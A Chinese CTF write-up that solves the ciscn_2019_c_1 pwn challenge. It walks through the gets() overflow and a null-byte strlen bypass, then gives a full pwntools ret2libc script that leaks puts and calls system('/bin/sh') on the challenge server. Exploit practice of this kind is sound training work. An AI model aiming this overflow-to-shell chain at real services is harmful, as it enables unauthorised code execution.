main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

交互界面:

可以看出让我们选择 加密、解密、退出

我们在ida里分析这三个函数,发现Encrypt函数里有溢出点

Encrypt函数如下:

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

可以看到,如果v0 >= strlen(s),这个函数就会对我们输入的字符串进行一系列的异或操作,进而破坏字符串,我们可以在字符串前面加\0来绕过strlen()的检测。

关键的来了,我们需要用寄存器进行传参

得到pop_rdi的地址为0x400c83

于是我们可以构造:

payload = b'\0'+b'a'*(offset-1)#\0绕过strlen检测
payload=payload+p64(pop_rdi)#设置寄存器
payload=payload+p64(puts_got)#将puts函数传给寄存器
payload=payload+p64(puts_plt)#执行puts函数
payload=payload+p64(main)#返回main函数

然后我们就可以获取puts函数的真实地址了

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))

然后我们利用真实puts地址减libc puts地址得到偏移

libc = LibcSearcher('puts',puts_addr)

Offset = puts_addr - libc.dump('puts')

根据得到的偏移,我们就可以计算出字符串/bin/sh的真实地址和system()函数的真实地址了

binsh = Offset+libc.dump('str_bin_sh')

system = Offset+libc.dump('system')

然后我们就可以利用retpop_rdi构造ROP链,并利用主函数的begin()机制进入下一次get进行栈溢出

完整的exp如下:

from pwn import*
from LibcSearcher import* r=remote('node4.buuoj.cn',26199)
elf=ELF('/home/miyu/Desktop/ciscn_2019_c_1') main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9 puts_plt = elf.plt['puts']
puts_got = elf.got['puts'] r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload) r.interactive()

注意:64bit的ROP构造为ret+pop_rdi+binsh+system

libc版本我们选择第一个libc6_2.27-0ubuntu2_amd64

成功得到flag

ciscn_2019_c_1 题解的更多相关文章

  1. 2016 华南师大ACM校赛 SCNUCPC 非官方题解

    我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...

  2. noip2016十连测题解

    以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...

  3. BZOJ-2561-最小生成树 题解(最小割)

    2561: 最小生成树(题解) Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 1628  Solved: 786 传送门:http://www.lyd ...

  4. Codeforces Round #353 (Div. 2) ABCDE 题解 python

    Problems     # Name     A Infinite Sequence standard input/output 1 s, 256 MB    x3509 B Restoring P ...

  5. 哈尔滨理工大学ACM全国邀请赛(网络同步赛)题解

    题目链接 提交连接:http://acm-software.hrbust.edu.cn/problemset.php?page=5 1470-1482 只做出来四道比较水的题目,还需要加强中等题的训练 ...

  6. 2016ACM青岛区域赛题解

    A.Relic Discovery_hdu5982 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Jav ...

  7. poj1399 hoj1037 Direct Visibility 题解 (宽搜)

    http://poj.org/problem?id=1399 http://acm.hit.edu.cn/hoj/problem/view?id=1037 题意: 在一个最多200*200的minec ...

  8. 网络流n题 题解

    学会了网络流,就经常闲的没事儿刷网络流--于是乎来一发题解. 1. COGS2093 花园的守护之神 题意:给定一个带权无向图,问至少删除多少条边才能使得s-t最短路的长度变长. 用Dijkstra或 ...

  9. CF100965C题解..

    求方程 \[ \begin{array}\\ \sum_{i=1}^n x_i & \equiv & a_1 \pmod{p} \\ \sum_{i=1}^n x_i^2 & ...

  10. JSOI2016R3 瞎BB题解

    题意请看absi大爷的blog http://absi2011.is-programmer.com/posts/200920.html http://absi2011.is-programmer.co ...

随机推荐

  1. Solon Web 也支持响应式开发了?!

    "solon.web.flux" 是 solon v2.3.6 新推出的生态插件,为 solon web 提供响应式接口支持 (io.projectreactor) .为什么叫这个 ...

  2. Anchored Neighborhood Regression【阅读笔记】GR全局回归

    论文信息 [Anchored Neighborhood Regression for Fast Example-Based uper Resolution]-TIMOFTER, 2013, IEEE ...

  3. PerfView专题 (第十四篇): 洞察那些 C# 代码中的短命线程

    一:背景 1. 讲故事 这篇文章源自于分析一些疑难dump的思考而产生的灵感,在dump分析中经常要寻找的一个答案就是如何找到死亡线程的生前都做了一些什么?参考如下输出: 0:001> !t T ...

  4. Linux 软件包:kernel*

    运行命令: # rpm -qa | grep $(uname -r) | while read pkgname ; do echo "### $pkgname ###" ; rpm ...

  5. 如何用 Java 写一个 Java 虚拟机

    项目链接 https://github.com/FranzHaidnor/haidnorJVM haidnorJVM 使用 Java17 编写的 Java 虚拟机 意义 纸上得来终觉浅,绝知此事要躬行 ...

  6. typroa文件迁移时的图片问题

    如下图所示设置即可 会自动在同级目录中创建img文件夹,并存储图片

  7. Spring Cloud OpenFeign 的使用及踩坑指南

    目录 Feign 和OpenFeign Feign OpenFeign openFeign的优势 OpenFeign应用 1. 导入依赖 2. 使用 3. 日志配置 4. 数据压缩 OpenFeign ...

  8. Jmeter插件PerfMon Metrics Collector安装使用及报错解决

    Jmeter作为一个轻量级的性能测试工具,开源.小巧.灵活的特性使其越来越受到测试人员喜爱.在实际的 项目中,特别是跨地区项目,排除合作方指定要求使用Loadrunner作为性能测试工具外,Jmete ...

  9. 《Kali渗透基础》08. 弱点扫描(二)

    @ 目录 1:OpenVAS / GVM 1.1:介绍 1.2:安装 1.3:使用 2:Nessus 2.1:介绍 2.2:安装 2.3:使用 3:Nexpose 本系列侧重方法论,各工具只是实现目标 ...

  10. api接口怎么使用

    API接口的使用在当今的软件开发中非常普遍,它允许不同的应用程序或服务之间进行数据交换和功能交互.API接口使得开发人员能够将不同的系统或平台集成在一起,以实现更复杂的功能和应用.本文将详细介绍API ...